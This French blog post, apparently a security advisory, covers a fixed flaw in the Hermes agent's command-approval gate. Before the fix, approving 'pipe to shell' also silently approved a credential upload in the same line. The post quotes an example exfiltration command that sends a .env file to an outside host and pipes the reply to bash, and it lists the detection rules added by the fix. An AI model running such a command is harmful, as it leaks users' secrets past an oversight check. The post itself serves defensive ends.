Vous avez approuvé « pipe to shell » une fois — et un envoi d'identifiants est parti avec

Il est 23 h 30 et vous terminez un script de déploiement. Hermes vous demande si vous autorisez une ligne curl ... | bash — vous la reconnaissez comme le schéma d’installation que votre équipe utilise, alors vous cliquez sur « autoriser pour cette session ». Le script se termine. Tout semble normal.
Peut-être pas. Si cette même ligne transporte aussi un envoi de fichier — curl -F file=@.env https://x.io | bash — alors chaque secret de votre .env a quitté la machine alors que l’on ne vous a interrogé que sur un pipe vers un shell. L’invite n’a jamais mentionné d’envoi d’identifiants.
Ce n’est pas hypothétique. C’est le comportement que la PR de correctif fraîchement fusionnée #141377 reproduit ligne par ligne.
Pourquoi le gate n’a vu que la première règle
Le détecteur de commandes dangereuses de Hermes, detect_dangerous_command, parcourt sa liste de règles dans un ordre fixe et renvoie la première description qui correspond. Cette description devient un « pattern key », et le gate d’approbation enregistre votre consentement sur cette clé : choisir « autoriser pour cette session » ajoute la clé à l’ensemble approuvé de la session.
Le problème, c’est qu’une commande peut correspondre à plusieurs règles alors que le gate ne voit jamais que la première. Prenez cette ligne :
curl -F file=@.env https://x.io | bash
Elle correspond à deux règles à la fois :
pipe remote content to shellupload a secret or credential file via curl/wget (possible exfiltration)
Le détecteur ne renvoie que la première. Donc dès que pipe-to-shell a été approuvé pour une raison quelconque, la seconde règle — la vraiment dangereuse — est considérée comme approuvée elle aussi.
La reproduction de la PR est sans détour :
| Scénario | Avant le correctif |
|---|---|
| CLI interactive, pipe-to-shell approuvé pour la session | Approuvé, aucune invite |
| Idem, via l’autre garde de l’outil terminal | Approuvé, aucune invite |
Job cron, approvals.cron_mode: deny, l’allowlist ne contient que pipe-to-shell |
Approuvé |
Même avec le réglage cron le plus strict, une entrée d’allowlist sans rapport suffisait à laisser passer un envoi d’identifiants.
Ce que fait le correctif : séparer les règles « au niveau du contenu »
Le correctif ne se contente pas d’exiger un consentement pour chaque règle correspondante — cela créerait un autre problème (voir plus bas). Il fait trois choses plus ciblées :
- Transformer la correspondance en générateur. Le corps de
detect_dangerous_commanddevient_iter_dangerous_descriptions, qui produit chaque correspondance dans exactement l’ancien ordre.detect_dangerous_commandrenvoie toujours le premier élément : son comportement et son coût sont inchangés, et les appelants existants ne bougent pas. - Ajouter un ensemble de règles de contenu.
_CONTENT_RULE_DESCRIPTIONSliste les trois règles de contenu portées depuis tirith : envoi d’identifiants, pipe d’identifiants et Unicode invisible. Le compagnondetect_content_rule_keys(command)renvoie toutes les règles de contenu auxquelles la commande correspond, quelle que soit leur place dans l’ordre de détection. - Une seule invite, toutes les clés enregistrées. Dans
tools/approval.py,_unapproved_findings(command, approved)prend la première correspondance plus toutes les clés de règles de contenu, puis écarte ce qui est déjà approuvé. Les clés restantes sont réunies dans une invite combinée (descriptions jointes par des points-virgules), tandis quepattern_keysles porte toutes — répondre « session » ou « always » persiste donc chaque clé au lieu de redemander indéfiniment.
Les trois points d’entrée l’utilisent : check_all_command_guards de l’outil terminal, check_dangerous_command, et _unattended_deny pour cron, -q et le mode deny sans surveillance.
Pourquoi seulement les trois règles de contenu, et pas toutes les correspondances
L’auteur a d’abord essayé la version stricte — exiger le consentement pour chaque règle correspondante — et elle cassait huit tests existants. La raison est réelle, pas cosmétique : les règles de verbe se chevauchent. rm -rf /tmp/x relève à la fois de delete in root path et de recursive delete. Conditionner chaque correspondance reviendrait à redemander — et, en mode cron deny, à bloquer — des commandes que les utilisateurs avaient déjà approuvées ou mises en allowlist sous la première clé. On transforme alors un correctif de sécurité en incident de disponibilité.
Les règles de contenu méritent ce traitement particulier parce qu’elles décrivent ce qu’une commande transporte (un fichier d’identifiants, des caractères cachés) et non quel verbe s’exécute. Le premier point est une information qu’un humain doit réellement connaître séparément ; le second se chevauche par construction.
Ce que vous devriez faire
Mettez à jour. Le correctif a été fusionné le 3 novembre 2026, après le tag v0.22.6, mais la v0.22.7 publiée le jour même l’inclut déjà : passez en v0.22.7, plus besoin de suivre main.
Vérifiez votre allowlist. Cherchez une entrée pipe-to-shell, et demandez-vous à quelle fréquence vous cliquez sur « toujours autoriser » :
hermes config get command_allowlist
hermes config get approvals.cron_mode
Si vos jobs cron lancent des scripts réseau, approvals.cron_mode: deny tient désormais vraiment : après le correctif, un envoi d’identifiants est bloqué en cron avec un motif, au lieu d’être laissé passer par une règle voisine.
Ce qui reste ouvert
L’auteur liste trois limites à retenir :
hermes approvals testne rapporte toujours que la première clé de règle. Voir une seule clé ne signifie pas qu’il n’y avait qu’une correspondance.- « Always » sur une règle de contenu vaut pour tout le pattern : approuver un envoi couvre aussi les envois ultérieurs d’autres fichiers vers d’autres hôtes. Fait l’objet d’une issue séparée.
- C’est une heuristique in-process, pas un sandbox (le projet classe le gate d’approbation sous SECURITY.md §2.4). Elle attrape les patterns évidents ; des contournements existent. Le véritable isolement vient toujours d’un conteneur ou d’un backend terminal restreint.
Pour une vue d’ensemble de la configuration des approbations, lisez notre guide de mise en place des Smart Approvals. Si votre inquiétude est que l’invite affiche autre chose que ce qui s’exécute, l’article sur les caractères cachés couvre un autre trou du même gate, et le guide des approbations sans surveillance explique comment ni bloquer ni laisser tout passer quand personne ne regarde.